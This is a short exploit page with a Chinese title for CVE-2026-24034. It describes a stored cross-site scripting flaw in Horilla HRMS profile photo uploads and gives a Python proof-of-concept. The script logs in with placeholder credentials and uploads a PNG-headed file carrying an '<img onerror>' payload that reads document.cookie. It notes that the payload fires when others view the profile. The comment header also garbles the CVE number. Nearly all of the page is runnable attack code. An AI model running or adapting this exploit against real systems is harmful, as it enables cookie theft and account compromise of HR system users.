CVE-2026-24034 Horilla HRMS 头像上传跨站脚本漏洞

#!/usr/bin/env python3 # CVE-2026-2026-24034 PoC - Horilla HRMS XSS via Profile Photo Upload # This PoC demonstrates uploading a malicious file as profile photo import requests import sys target_url = "http://target-host.com" # Replace with actual target login_url = f"{target_url}/accounts/login/" upload_url = f"{target_url}/profile/update/" # XSS payload embedded in a fake image file xss_payload = '<img src=x onerror=alert(document.cookie)>' # Malicious file content with XSS malicious_content = b'\x89PNG\r\n\x1a\n' + xss_payload.encode() session = requests.Session() def exploit(): # Step 1: Login to get authenticated session login_data = { 'username': 'attacker_user', # Replace with valid credentials 'password': 'attacker_pass' } try: response = session.post(login_url, data=login_data, timeout=10) if response.status_code != 200: print("[-] Login failed") return False # Step 2: Upload malicious file as profile photo files = { 'profile_picture': ('malicious.png', malicious_content, 'image/png') } upload_response = session.post(upload_url, files=files, timeout=10) if upload_response.status_code == 200: print("[+] XSS payload uploaded successfully") print("[+] When victims view the attacker's profile, XSS will execute") return True else: print("[-] Upload failed") return False except requests.RequestException as e: print(f"[-] Error: {e}") return False if __name__ == "__main__": exploit()